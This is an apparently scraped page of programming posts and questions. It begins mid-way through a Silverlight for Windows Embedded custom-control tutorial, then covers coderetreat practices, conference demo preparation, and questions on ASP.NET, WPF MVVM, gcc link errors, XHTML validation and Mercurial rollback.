than the one we used for a simple page in the previous chapters: template <class A,class B> class DirectoryItemUserControlRegister : public XRCustomUserControlImpl<A,B>,public TDirectoryItem<A,XAML2CPPUserControl> { ... } This class derives from the XAML2CPP generated template class, like the ListPage class, but it uses XAML2CPPUserControl for the implementation of some features. This class shares the same ancestor of XAML2CPPPage (base class for “regular” XAML pages), XAML2CPPBase, implements binding of member variables and event handlers but, instead of loading and creating its own XAML tree, it attaches to an existing one. The XAML tree (and UI) of our custom control is created and loaded by the XRCustomUserControlImpl class. This class is part of the Silverlight for Windows Embedded framework and implements most of the functions needed to build-up a custom control in Silverlight (the guys that developed Silverlight for Windows Embedded seem to care about lazy programmers!). We have just to initialize it, providing our class (DirectoryItem) and interface (IDirectoryItem). Our user control class has also a static member: protected:   static HINSTANCE hInstance; This is used to store the HINSTANCE of the modules that contain our user control class. I don’t like this implementation, but I can’t find a better one, so if somebody has good ideas about how to handle the HINSTANCE object, I’ll be happy to hear suggestions! It also implements two static members required by XRCustomUserControlImpl. The first one is used to load the XAML UI of our custom control: static HRESULT GetXamlSource(XRXamlSource* pXamlSource) { pXamlSource->SetResource(hInstance,TEXT("XAML"),IDR_XAML_DirectoryItem); return S_OK; }   It initializes a XRXamlSource object, connecting it to the XAML resource that XAML2CPP has included in our resource script. The other method is used to register our custom control, allowing Silverlight for Windows Embedded to create it when it load some XAML or when an application creates a new control at runtime (more about this later): static HRESULT Register() { return XRCustomUserControlImpl<A,B>::Register(__uuidof(B), L"DirectoryItem", L"clr-namespace:DirectoryItemNamespace"); } To register our control we should provide its interface UUID, the name of the corresponding element in the XAML tree and its current namespace (namespaces compatible with Silverlight must use the “clr-namespace” prefix. We may also register additional properties for our objects, allowing them to be loaded and saved inside XAML. In this case we have no permanent properties and the Register method will just register our control. An additional static method is implemented to allow easy registration of our custom control inside our application WinMain function: static HRESULT RegisterUserControl(HINSTANCE hInstance) { DirectoryItemUserControlRegister::hInstance=hInstance; return DirectoryItemUserControlRegister<A,B>::Register(); } Now our control is registered and we will be able to create it using the Silverlight for Windows Embedded runtime functions. But we need to bind our members and event handlers to have them available like we are used to do for other XAML2CPP generated objects. To bind events and members we need to implement the On_Loaded function: virtual HRESULT OnLoaded(__in IXRDependencyObject* pRoot) { HRESULT retcode; IXRApplicationPtr app; if (FAILED(retcode=GetXRApplicationInstance(&app))) return retcode; return ((A*)this)->Init(pRoot,hInstance,app); } This function will call the XAML2CPPUserControl::Init member that will connect the “root” member with the XAML sub tree that has been created for our control and then calls BindObjects and BindEvents to bind members and events to our code. Now we can go back to our application code (the code that you’ll have to actually write) to see the contents of our DirectoryItem class: class DirectoryItem : public DirectoryItemUserControlRegister<DirectoryItem,IDirectoryItem> { protected:   WCHAR fullpath[_MAX_PATH+1];   public:   DirectoryItem() { *fullpath=0; }   virtual HRESULT SetFullPath(BSTR fullpath) { wcscpy_s(this->fullpath,fullpath);   WCHAR* p=fullpath;   for(WCHAR*q=wcsstr(p,L"\\");q;p=q+1,q=wcsstr(p,L"\\")) ;   Name->SetText(p); return S_OK; }   virtual HRESULT GetFullPath(BSTR* retval) { *retval=SysAllocString(fullpath); return S_OK; } }; It’s pretty easy and contains a fullpath member (used to store that path of the directory connected with the user control) and the implementation of the two interface members that can be used to set and retrieve the path. The SetFullPath member parses the full path and displays just the last branch directory name inside the “Name” TextBlock object. As you can see, implementing a user control in Silverlight for Windows Embedded is not too complex and using XAML also for the UI of the control allows us to re-use the same mechanisms that we learnt and used in the previous steps of our tutorial. Now let’s see how the main page is managed by the ListPage class. class ListPage : public TListPage<ListPage> { protected:   // current path TCHAR curpath[_MAX_PATH+1]; It has a member named “curpath” that is used to store the current directory. It’s initialized inside the constructor: ListPage() { *curpath=0; } And it’s value is displayed inside the “CurrentDir” TextBlock inside the initialization function: virtual HRESULT Init(HINSTANCE hInstance,IXRApplication* app) { HRESULT retcode;   if (FAILED(retcode=TListPage<ListPage>::Init(hInstance,app))) return retcode;   CurrentDir->SetText(L"\\"); return S_OK; } The FillFileList function is used to enumerate subdirectories of the current dir and add entries for each one inside the list box that fills most of the client area of our main page: HRESULT FillFileList() { HRESULT retcode; IXRItemCollectionPtr items; IXRApplicationPtr app;   if (FAILED(retcode=GetXRApplicationInstance(&app))) return retcode; // retrieves the items contained in the listbox if (FAILED(retcode=FileList->GetItems(&items))) return retcode;   // clears the list if (FAILED(retcode=items->Clear())) return retcode;   // enumerates files and directory in the current path WCHAR filemask[_MAX_PATH+1];   wcscpy_s(filemask,curpath); wcscat_s(filemask,L"\\*.*");   WIN32_FIND_DATA finddata; HANDLE findhandle;   findhandle=FindFirstFile(filemask,&finddata);   // the directory is empty? if (findhandle==INVALID_HANDLE_VALUE) return S_OK;   do { if (finddata.dwFileAttributes&=FILE_ATTRIBUTE_DIRECTORY) { IXRListBoxItemPtr listboxitem;   // add a new item to the listbox if (FAILED(retcode=app->CreateObject(IID_IXRListBoxItem,&listboxitem))) { FindClose(findhandle); return retcode; }   if (FAILED(retcode=items->Add(listboxitem,NULL))) { FindClose(findhandle); return retcode; }   IDirectoryItemPtr directoryitem;   if (FAILED(retcode=app->CreateObject(IID_IDirectoryItem,&directoryitem))) { FindClose(findhandle); return retcode; }   WCHAR fullpath[_MAX_PATH+1];   wcscpy_s(fullpath,curpath); wcscat_s(fullpath,L"\\"); wcscat_s(fullpath,finddata.cFileName);   if (FAILED(retcode=directoryitem->SetFullPath(fullpath))) { FindClose(findhandle); return retcode; }   XAML2CPPXRValue value((IXRDependencyObject*)directoryitem);   if (FAILED(retcode=listboxitem->SetContent(&value))) { FindClose(findhandle); return retcode; } } } while (FindNextFile(findhandle,&finddata));   FindClose(findhandle); return S_OK; } This functions retrieve a pointer to the collection of the items contained in the directory listbox. The IXRItemCollection interface is used by listboxes and comboboxes and allow you to clear the list (using Clear(), as our function does at the beginning) and change its contents by adding and removing elements. This function uses the FindFirstFile/FindNextFile functions to enumerate all the objects inside our current directory and for each subdirectory creates a IXRListBoxItem object. You can insert any kind of control inside a list box, you don’t need a IXRListBoxItem, but using it will allow you to handle the selected state of an item, highlighting it inside the list. The function creates a list box item using the CreateObject function of XRApplication. The same function is then used to create an instance of our custom control. The function returns a pointer to the control IDirectoryItem interface and we can use it to store the directory full path inside the object and add it as content of the IXRListBox item object, adding it to the listbox contents. The listbox generates an event (SelectionChanged) each time the user clicks on one of the items contained in the listbox. We implement an event handler for that event and use it to change our current directory and repopulate the listbox. The current directory full path will be displayed in the TextBlock: HRESULT Filelist_SelectionChanged(IXRDependencyObject* source,XRSelectionChangedEventArgs* args) { HRESULT retcode;   IXRListBoxItemPtr listboxitem;   if (!args->pAddedItem) return S_OK;   if (FAILED(retcode=args->pAddedItem->QueryInterface(IID_IXRListBoxItem,(void**)&listboxitem))) return retcode;   XRValue content; if (FAILED(retcode=listboxitem->GetContent(&content))) return retcode;   if (content.vType!=VTYPE_OBJECT) return E_FAIL;   IDirectoryItemPtr directoryitem;   if (FAILED(retcode=content.pObjectVal->QueryInterface(IID_IDirectoryItem,(void**)&directoryitem))) return retcode;   content.pObjectVal->Release(); content.pObjectVal=NULL;   BSTR fullpath=NULL;   if (FAILED(retcode=directoryitem->GetFullPath(&fullpath))) return retcode;   CurrentDir->SetText(fullpath);   wcscpy_s(curpath,fullpath); FillFileList(); SysFreeString(fullpath);     return S_OK; } }; The function uses the pAddedItem member of the XRSelectionChangedEventArgs object to retrieve the currently selected item, converts it to a IXRListBoxItem interface using QueryInterface, and then retrives its contents (IDirectoryItem object). Using the GetFullPath method we can get the full path of our selected directory and assing it to the curdir member. A call to FillFileList will update the listbox contents, displaying the list of subdirectories of the selected folder. To build our sample we just need to add code to our WinMain function: int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { if (!XamlRuntimeInitialize()) return -1;   HRESULT retcode;   IXRApplicationPtr app; if (FAILED(retcode=GetXRApplicationInstance(&app))) return -1;   if (FAILED(retcode=DirectoryItem::RegisterUserControl(hInstance))) return retcode;   ListPage page;   if (FAILED(page.Init(hInstance,app))) return -1;   page.FillFileList();   UINT exitcode;   if (FAILED(page.GetVisualHost()->StartDialog(&exitcode))) return -1;   return 0; } This code is very similar to the one of the WinMains of our previous samples. The main differences are that we register our custom control (you should do that as soon as you have initialized the XAML runtime) and call FillFileList after the initialization of our ListPage object to load the contents of the root folder of our device inside the listbox. As usual you can download the full sample source code from here: http://cid-9b7b0aefe3514dc5.skydrive.live.com/self.aspx/.Public/ListBoxTest.zip

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  • Lightning talk: Coderetreat

    - by Michael Williamson
    In the spirit of trying to encourage more deliberate practice amongst coders in Red Gate, Lauri Pesonen had the idea of running a coderetreat in Red Gate. Lauri and I ran the first one a few weeks ago: given that neither of us hadn’t even been to a coderetreat before, let alone run one, I think it turned out quite well. The participants gave positive feedback, saying that they enjoyed the day, wrote some thought-provoking code and would do it again. Sam Blackburn was one of the attendees, and gave a lightning talk to the other developers in one of our regular lightning talk sessions: In case you can’t watch the video, I’ve transcribed the talk below, although I’d recommend watching the video if you can — I didn’t have much time to do the transcribing! So, what is a coderetreat? So it’s not just something in Red Gate, there’s a website and everything, although it’s not a very big website. It calls itself a community network. The basic ideas behind coderetreat are: you’ve got one day, and you split it into one hour sections. You spend three quarters of that coding, and do a little retrospective at the end. You’re supposed to start fresh each, we were told to delete our code after every session. We were in pairs, swapping after each session, and we did the same task every time. In fact, Conway’s Game of Life is the only task mentioned anywhere that I find for coderetreat. So I don’t know what we’ll do next time, or if we’re meant to do the same thing again. There are some guiding principles which felt to us like restrictions, that you have to code in crazy ways to encourage better code. Final thing is that it’s supposed to be free for outsiders to join. It’s meant to be a kind of networking thing, where you link up with people from other companies. We had a pilot day with Michael and Lauri. Since it was basically the first time any of us had done anything like this, everybody was from Red Gate. We didn’t chat to anybody else for the initial one. The task was Conway’s Game of Life, which most of you have probably heard of it, all but one of us knew about it when did the coderetreat. I won’t got into the details of what it is, but it felt like the right size of task, basically one or two groups actually produced something working by the end of the day, and of course that doesn’t mean it’s necessarily a day’s work to produce that because we were starting again every hour. The task really drives you more than trying to create good code, I found. It was really tempting to try and get it working rather than stick to the rules. But it’s really good to stop and try again because there are so many what-ifs when you’ve finished writing something, “what if I’d done it this way?”. You can answer all those questions at a coderetreat because it’s not about getting a product out the door, it’s about learning and playing with ideas. So we had all these different practices we were trying. I’ll try and go through most of these. Single responsibility is this idea that everything should do just one thing. It was the very first session, we were still trying to figure out how do you go about the Game of Life? So by the end of forty-five minutes hadn’t produced very much for that first session. We were still thinking, “Do we start with a board, how do we represent all these squares? It can be infinitely big, help, this is getting really difficult!”. So, most of us didn’t really get anywhere on the first one. Although it was interesting that some people started with the board, one group started with the FateDecider class that decides whether things live or die. A sort of god class, but in a good way. They managed to implement all of the rules without even defining how the squares were arranged or anything like that. Another thing we tried was TDD (test-driven development). I’m sure most of you know what TDD is: Watch a test, watch it fail for the right reason Write code to pass the test, watch it pass Refactor, check the test still passes Repeat! It basically worked, we were able to produce code, but we often found the tests defined the direction that code went, which is obviously the idea of TDD. But you tend to find that by the time you’ve even written your first assertion, which is supposed to be the very first thing you write, because you write your tests backwards from the assertions back to the initial conditions, you’ve already constrained the logic of the code in some way by the time you’ve done that. You then get to this situation of, “Well, we actually want to go in a slightly different direction. Can we do this?”. Can we write tests that don’t constrain the architecture? Wrapping up all primitives: it’s kind of turtles all the way down. We had a Size, which has a Width and Height, which both derive from Dimension. You’ve got pages of code before you’ve even done anything. No getters and setters (use tell don’t ask instead): mocks and stubs for tests are required if you want to assert that your results are what you think they should be. You can’t just check the internal state of the code. And people found that really challenging and it made them think in a different way which I think is really good. Not having mutable state: that was kind of confusing because we weren’t quite sure what fitted within that rule and what didn’t, and I think we were trying too hard to follow the rule rather than the guideline. No if-statements: supposed to use polymorphism instead, but polymorphism still requires a factory with conditional behaviour. We did something really crazy to get around this: public T If(bool condition, Func<T> left, Func<T> right) { var dict = new Dictionary<bool, Func<T>> {{true, left}, {false, right}}; return dict[condition].Invoke(); } That is not really polymorphism, is it? For-loops: you can always replace a for-loop with recursion, but it doesn’t tend to make it any more readable unless it’s the kind of task that really lends itself to that. So it was interesting, it was good practice, but it wouldn’t make it easier it’s the kind of tree-structure algorithm where that would help. Having a limit on the number of levels of indentation: again, I think it does produce very nice, clean code, but it wasn’t actually a challenge because you just extract methods. That’s quite a useful thing because you can apply that to real code and say, “Okay, should this method really be going crazy like this?” No talking: we hated that. It’s like there’s two of you at a computer, and one of you is doing the typing, what does the other guy do if they’re not allowed to talk. The answer is TDD ping-pong – one person writes the tests, and then the other person writes the code to pass the test. And that creates communication without actually having to have discussion about things which is kind of cool. No code comments: just makes no difference to anything. It’s a forty-five minute exercise, so what are you going to put comments in code for? Finally, this is my fault. I discovered an entertaining way of doing the calculation that was kind of cool (using convolutions over the state of the board). Unfortunately, it turns out to be really hard to implement in C#, so didn’t even manage to work out how to do that convolution in C#. It’s trivial in some high-level languages, but you need something matrix-orientated for it to really work. That’s most of it, really. The thoughts that people went away with: we put down our answers to questions like “What have you learnt?” and “What surprised you?”, “How are you going to do things differently?”, and most people said redoing the problem is really, really good for understanding it properly. People hate having a massive legacy codebase that they can’t change, so being able to attack something three different ways in an environment where the end-product isn’t important: that’s something people really enjoyed. Pair-programming: also people said that they wanted to do more of that, especially with TDD ping-pong, where you write the test and somebody else writes the code. Various people thought different things about immutables, but most people thought they were good, they promote functional programming. And TDD people found really hard. “Tell, don’t ask” people found really, really hard and really, really, really hard to do well. And the recursion just made things trickier to debug. But most people agreed that coderetreats are really cool, and we should do more of them.

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  • Prepping a conference

    - by Laurent Bugnion
    I have had the chance to talk at many conferences these past few years, and came up with a way to prepare them which works really well for me. Most importantly, it would make it quite easy to overcome an emergency (for example if my laptop would suddenly lose data). The whole code as well as the slides and other documents are in the cloud. I also use source control for my demos, so that I always have the latest and the greatest, but also a history of changes I made to my demos. Finally I have a system of code snippets which works great, and I often had very positive remarks from the audience regarding that. Putting everything in the cloud The one thing I used to be the most scared of was a sudden crash of my laptop, and being unable to restore in time for a conference. Most conferences ask speakers to send slides a few days (or weeks…) in advance, but let's face it, we all have last minute changes to our talks and I always come in the conference with updated slides that I pass to the management team. The answer to that dilemma used to be working off memory sticks, and that worked not bad. However last year I started putting all the documents relating to a conference in a DropBox folder, and that works great too. Obviously DropBox works only if you have connectivity, so if I for instance update slides while on an international flight, I cannot save to the cloud. The obvious answer to that is to backup everything on a memory stick… but I have to admit, I have been trusting my luck and working off my laptop HD and then synching everything to the cloud after landing. Of course on some US national flights you get WiFi on board, so in that case it is even simpler :) Usually after the conference is done, I remove the files from DropBox and copy them to their "final destination". They are backed up from there to BackBlaze, the great online backup service I am using routinely (I currently have about 90GB of data in BackBlaze). Outlining the presentations I like to have a written outline of my presentations written somewhere. I keep it simple, just write the various sections of the presentation with timing. I guess it is a remnant of the time when I was a private pilot, and using checklists for flight preparation. For example: Demo about designability 15' (0:37) Switch to Blend Open MainPage.xaml Create a DataTemplate ... Here I can immediately see during the presentation if I am taking too much time for my demo (0:37 is where I need to be when I am done with this section of the presentation, and 15' is the time that this particular section takes). I keep these sections reasonable, I don't detail every step of the preparation. Typically I have one such section for every 10-15 minutes of my talks. Yes, I am timing my presentations. I keep adjusting these numbers when I rehearse, and this really helps to feel more confident during the presentations. This is especially important for presentations that are long, like my MIX11 demo which clocked at 57 minutes (I had a lot of stuff to show…). Such presentations are risky, because if anything goes wrong, you will have to cut stuff, so the answer to that is: Rehearse, rehearse and when you're done rehearsing, rehearse a little more. I also have a "Preparation" section where I outline what I need to do before a presentation. For instance: Preparation Reboot in VHD Make sure MSN and Twitter are not running. Open VS10 and load demo Open Blend and load demo Run the WP7 emulator ... I typically start preparing my laptop an hour before the talk, starting everything I need to start and then putting my laptop to sleep. Saving and printing the outline, Timing Printing is a real problem because it is really hard to find a printer at most conference venues, and also quite hard in hotels. To solve that, I simply write everything in OneNote (synched to the cloud, now you start to know what I like ;) and then I print it to a PDF (I use CutePDFWriter) that I save to my Kindle. During the presentation, I read the outline off the Kindle (I mostly just need a quick check to see how I am timing). For timing during the presentation, I use the free tool ChronoGPS on my Windows Phone 7, but of course any phone these days has a clock/chrono application. In some conferences, they even have timers that the presenters can see, but they tend to count down and I prefer to count up… so I just use my own :) Source control for demos For demos, I create a separate folder and use Mercurial as source control. Mercurial has the huge advantage (over SVN or TFS) to work offline too, so I can commit while on a plane, and all the history is saved. Then when I have connectivity I push everything to the cloud (I am using the fantastic Trunksapp.com for my private repositories). Here too the obvious downside is the risk of losing my last changes if my laptop crashes before I can push to the cloud, and here too the obvious answer would be to work from a memory stick… though I have to admit I didn't do that lately (except when I was writing Silverlight 4 Unleashed, where I was really paranoid…) And code snippets? I am one of these presenters who hates to type in front of an audience. I can type really fast (writing two books has this advantage, it really teaches you to touch type and be fast at it) but in the context of an audience, on a stage where it is often damn cold (an issue I had a lot in past conferences, air conditioning can freeze your fingers and make it really hard to type), it doesn't work as well. I don't know for you, but I really dislike seeing a presentation where the speaker uses the backspace key more often than others ;) To solve that, I like to have my code ready in snippets, and drag them to the screen. Then I can spend time explaining each code snippet, while highlighting portions of the code (always highlight what you talk about, the audience often doesn't even see the cursor and doesn't know where you are on the screen!) Over the years I have used various solutions for code snippets, and now I have one which works really well… if you take a few precautions! I use the Visual Studio Toolbox. Preparing the code snippets You can store code snippets in the Toolbox for anything, XAML, C# etc. I arrange the snippets in the order in which I need them, which is a great way to remember what comes next in the presentation. I also separate them by topic, to make it easier to find them, for example when I switch to the slides and then back to the code. Remember that no matter how experienced you are, you will feel more nervous on stage than while you are preparing, so any way to make it easier for you is going to be beneficial to the audience. To store a code snippet, I do the following: Open the final demo that you want to show to the audience in Visual Studio. In your code, select a snippet of code that you want to explain in particular. Make sure that the Visual Studio Toolbox is open (menu View, Toolbox or Ctrl-Alt-X). Drag the selected snippet from the code window to the toolbox. (if needed) drag the snippet to the correct location (for example between two other code snippets so that you can access it as you speak through the demo). Right click on the snippet and select Rename Item from the context menu. Select a meaningful name. For me I use the following conventions: If it is a method, I use the method's name. If it is not a whole method, I use a descriptive name. If it is the content of a method (i.e. the body only, without the method's signature), I use "-> MethodName". This reminds me during the presentation that this is only the body, and that I need to insert that into an existing signature. This is the case, for instance, when I use Visual Studio to automatically generate the members of an interface’s implementation; then I only need to insert my snippet inside the generated method body. Saving the snippets This is the most important!! It happened to me a few times that VS10 lost its settings. When that happens, the snippets are lost too! Yeah that really sucks, especially (as it happened once) when this is the case about an hour before a talk… Stress and sweat follows, not good conditions to start a talk in front of an audience believe me. Thankfully, saving snippets is really easy with the following steps: Select the menu Tools, Import and Export Settings. Select Export selected environment settings and press Next. Uncheck All Settings. Then expand General Settings and select Toolbox (only!). Press Next. Select your source control folder and save under a meaningful name (for instance Snippets.vssettings). Commit to source control and push to the cloud. By the way, this also has the advantage of applying source control to the snippets file (which is an XML file), so you get history for free on that file! Reimporting the snippets If VS loses its settings and you need to reimport the snippets, this can be done super easily and very fast. Make sure that the Toolbox is empty. When you import snippets, they are merged with existing ones, they do not replace the content of the Toolbox. Unless merging is really what you want, make sure that your Toolbox is clean before you import, it is really easier. Select the menu Tools, Import and Export Settings. Select Import selected environment settings and press Next. Select No, just import new settings and press Next. Press Browse and select the Snippets.vssettings file. Press Finish. Et voila, all your snippets appear again in the Toolbox. Whew, the worst was averted and you can start your demo without sweating! (I had to do that once literally 5 minutes before the start of a demo, while my laptop was already hooked to the projector, and it went just fine). What about special tools? When using special tools (for example beta versions of tools you have an early access to), or a special configuration of your laptop, things can get tricky because you cannot really be sure that you will get a laptop with the same tools and the same configuration at the conference. To solve that, I use the following precautions: I make my demos from a Virtual Hard Disk. The great John Papa made a very easy-to-follow web page where he explains how to create a VHD and install Win7 to it. This gives you the full power of your laptop (as fast as booting from the metal). For me, I have a basic configuration that I saved on a USB harddrive (Win7 plus drivers, basic settings for desktop, folder options, taskbar etc) and Visual Studio 2010 SP1 on it. When preparing, I start by copying this "basis VHD" to my laptop. I install additional tools and configurations. I save the VHD back to the USB harddrive in a different folder. This would allow me to reinstall my demo environment quite fast, for example in case of harddrive failure. Replace the harddrive, copy the VHD to it, configure the BCD and you can start. Unfortunately this only works if the laptop itself still works. In the worst case of total failure, my security is to back all the installers up: The installers I use are synched on all my laptops and backed up to BackBlaze. If the worst happens and my laptop is absolutely broken, I can download the installer from BackBlaze and install on another laptop. This of course takes some time, and if that happens 5 minutes before a presentation, well… I don't have an answer to that, except of course crossing my fingers. Still, all that gives me additional security. Conclusion Remember folks, talking to an audience, large or small, will make you nervous. Just ask Scott Hanselman :) The goal here is to create the best possible conditions for you, and to create an environment where everything is saved and easy to restore, where everything is well known and provides you with additional confidence. The cooler you feel before the presentation (and during ;)), the better your presentation will be. Here too, the goal is to provide the best user experience you can have, which in turn will make it more enjoyable for your audience! Happy presenting :) Laurent   Laurent Bugnion (GalaSoft) Subscribe | Twitter | Facebook | Flickr | LinkedIn

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  • Force Postback from code behind? Or reload JavaScript from an Asynchronous Postback?

    - by sah302
    Hi all, I've got a Jquery UI dialog that pops up to confirm the creation of an item after filling out a form. I have the form in an update panel due to various needs of the form, and especially because I want validation being done on the form without reloading the page. JavaScript appears to not reload on an asynchronoous postback. This means when the form is a success and I change the variable 'formSubmitPass' to true, it does not get passed to the Javascript via <%= formSubmitPass %. If I add a trigger to the submit button to do a full postback, it works. However I don't want the submit button to do a full postback as I said so I can validate the form within the update panel. How can I have this so my form validates asynchronously, but my javaScript will properly reload when the form is completed successfully and the item is saved to the database? Javascript: var formSubmitPass = '<%= formSubmitPass %>'; var redirectUrl = '<%= redirectUrl %>'; function pageLoad() { $('#formPassBox').dialog({ autoOpen: false, width: 400, resizable: false, modal: true, draggable: false, buttons: { "Ok": function() { window.location.href = redirectUrl; } }, open: function(event, ui) { $(".ui-dialog-titlebar-close").hide(); var t = window.setTimeout("goToUrl()", 5000); } }); if(formSubmitPass == 'True') { $('#formPassBox').dialog({ autoOpen: true }); } So how can I force a postback from the code behind, or reload the JavaScript on an Asynchronous Postback, or do this in a way that will work such that I can continue to do Async form validation? Edit: I change formSubmitPass at the very end of the code behind: If errorCount = 0 Then formSubmitPass = True upForm.Update() Else formSubmitPass = False End If So on a full postback, the value does change.

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  • How do I MVVM-ize this MouseDown code in my WPF 3D app?

    - by DanM
    In my view, I have: <UserControl x:Class ... MouseDown="UserControl_MouseDown"> <Viewport3D Name="Viewport" Grid.Column="0"> ... </Viewport3D > </UserControl> In my code-behind, I have: private void UserControl_MouseDown(object sender, MouseButtonEventArgs e) { ((MapPanelViewModel)DataContext).OnMouseDown(e, Viewport); } And in my view-model, I have: public void OnMouseDown(MouseEventArgs e, Viewport3D viewport) { var range = new LineRange(); var isValid = ViewportInfo.Point2DtoPoint3D(viewport, e.GetPosition(viewport), out range); if (!isValid) MouseCoordinates = "(no data)"; else { var point3D = range.PointFromZ(0); var point = ViewportInfo.Point3DtoPoint2D(viewport, point3D); MouseCoordinates = e.GetPosition(viewport).ToString() + "\n" + point3D + "\n" + point; } } I really don't have a good sense of how to handle mouse events with MVVM. I always just end up putting them in the code-behind and casting the DataContext as SomeViewModel, then passing the MouseEventArgs on to a handler in my view-model. That's bad enough already, but in this case, I'm actually passing in a control (a Viewport3D), which is necessary for translating coordinates between 2D and 3D. Any suggestions on how to make this more in tune with MVVM?

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  • Mac gcc non-virtual thunk error

    - by fret
    I'm getting these non-virtual thunk errors only in the Deployment build of my app. It uses a private framework called Lgi. Building on 10.5.8 using XCode 3.1.4 (latest for leopard?) The error looks like this: Ld /Users/matthew/Code/Scribe-Branches/v2.00/build/Development/Scribe.app/Contents/MacOS/Scribe normal i386 cd /Users/matthew/Code/Scribe-Branches/v2.00 /Developer/usr/bin/g++-4.0 -arch i386 -L/Users/matthew/Code/Scribe-Branches/v2.00/build/Development -F/Users/matthew/Code/Scribe-Branches/v2.00/build/Development -F/Users/matthew/Code/Lgi/build -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Development -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Development -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Deployment -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Development -F/Users/matthew/Code/Scribe-Branches/v2.00/../../Lgi/build/Deployment -filelist /Users/matthew/Code/Scribe-Branches/v2.00/build/Scribe.build/Development/Scribe.build/Objects-normal/i386/Scribe.LinkFileList -framework Carbon -framework Lgi -o /Users/matthew/Code/Scribe-Branches/v2.00/build/Development/Scribe.app/Contents/MacOS/Scribe Undefined symbols: "non-virtual thunk to GWindow::OnDrop(char*, GVariant*, GdcPt2, int)", referenced from: vtable for ScribeWndin ScribeApp.o vtable for GShutdownin ScribeApp.o vtable for CalendarUiin Calendar.o vtable for CalendarViewWndin CalendarView.o vtable for CalendarConfigin CalendarView.o vtable for ScribeExportin Exp_Scribe.o vtable for GNewMailDlgin GNewMailDlg.o ....etc for lots of classes.... Anyway I know I'm not leaving those undefined because it does in fact link and run fine in the development build. Now after googling the issue the first thing to try is changing the optimization setting, which I did... and no dice. Some link error. So these virtual functions are initially defined in GDragDropTarget, and GWindow's inheritance looks like this: class LgiClass GWindow : public GView #ifndef WIN32 , public GDragDropTarget #endif (LgiClass being for __declspec export/import on win32) Any ideas on what to try next? Maybe I need to provide more info.

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  • How do you write Valid XHTML 1.0 Strict code when you are using javascript to fill an element that r

    - by Tim Visher
    I'm running my site through the W3C's validator trying to get it to validate as XHTML 1.0 Strict and I've gotten down to a particularly sticky (at least in my experience) validation error. I'm including certain badges from various services in the site that provide their own API and code for inclusion on an external site. These badges use javascript (for the most part) to fill an element that you insert in the markup which requires a child. This means that in the end, perfectly valid markup is generated, but to the validator, all it sees is an incomplete parent-child tag which it then throws an error on. As a caveat, I understand that I could complain to the services that their badges don't validate. Sans this, I assume that someone has validated their code while including badges like this, and that's what I'm interested in. Answers such as, 'Complain to Flickr about their badge' aren't going to help me much. An additional caveat: I would prefer that as much as possible the markup remains semantic. I.E. Adding an empty li tag or tr-td pair to make it validate would be an undesirable solution, even though it may be necessary. If that's the only way it can be made to validate, oh well, but please lean answers towards semantic markup. As an example: <div id="twitter_div"> <h2><a href="http://twitter.com/stopsineman">@Twitter</a></h2> <ul id="twitter_update_list"> <script type="text/javascript" src="http://twitter.com/javascripts/blogger.js"></script> <script type="text/javascript" src="http://twitter.com/statuses/user_timeline/stopsineman.json?callback=twitterCallback2&amp;count=1"></script> </ul> </div> Notice the ul tags wrapping the javascript. This eventually gets filled in with lis via the script, but to the validator it only sees the unpopulated ul. Thanks in advance!

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  • In Mercurial, what is the exact step that Peter or me has to do so that he gets back the rolled back

    - by Jian Lin
    The short question is: if I hg rollback, how does Peter get my rolled back version if he cloned from me? What are the exact steps he or me has to do or type? This is related to http://stackoverflow.com/questions/3034793/in-mercurial-when-peter-hg-clone-me-and-i-commit-and-he-pull-and-update-he-g The details: After the following steps, Mary has 7 and Peter has 11. My repository is 7 What are the exact steps Peter or me has to do or type SO THAT PETER GETS 7 back? F:\>mkdir hgme F:\>cd hgme F:\hgme>hg init F:\hgme>echo the code is 7 > code.txt F:\hgme>hg add code.txt F:\hgme>hg commit -m "this is version 1" F:\hgme>cd .. F:\>hg clone hgme hgpeter updating to branch default 1 files updated, 0 files merged, 0 files removed, 0 files unresolved F:\>cd hgpeter F:\hgpeter>type code.txt the code is 7 F:\hgpeter>cd .. F:\>cd hgme F:\hgme>notepad code.txt [now i change 7 to 11] F:\hgme>hg commit -m "this is version 2" F:\hgme>cd .. F:\>cd hgpeter F:\hgpeter>hg pull pulling from f:\hgme searching for changes adding changesets adding manifests adding file changes added 1 changesets with 1 changes to 1 files (run 'hg update' to get a working copy) F:\hgpeter>hg update 1 files updated, 0 files merged, 0 files removed, 0 files unresolved F:\hgpeter>type code.txt the code is 11 F:\hgpeter>cd .. F:\>cd hgme F:\hgme>hg rollback rolling back last transaction F:\hgme>cd .. F:\>hg clone hgme hgmary updating to branch default 1 files updated, 0 files merged, 0 files removed, 0 files unresolved F:\>cd hgmary F:\hgmary>type code.txt the code is 7 F:\hgmary>cd .. F:\>cd hgpeter F:\hgpeter>hg pull pulling from f:\hgme searching for changes no changes found F:\hgpeter>hg update 0 files updated, 0 files merged, 0 files removed, 0 files unresolved F:\hgpeter>type code.txt the code is 11 F:\hgpeter>

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  • Compiling cpp code in netbeans produce errors, how to solve it ?

    - by Rupertt Wind
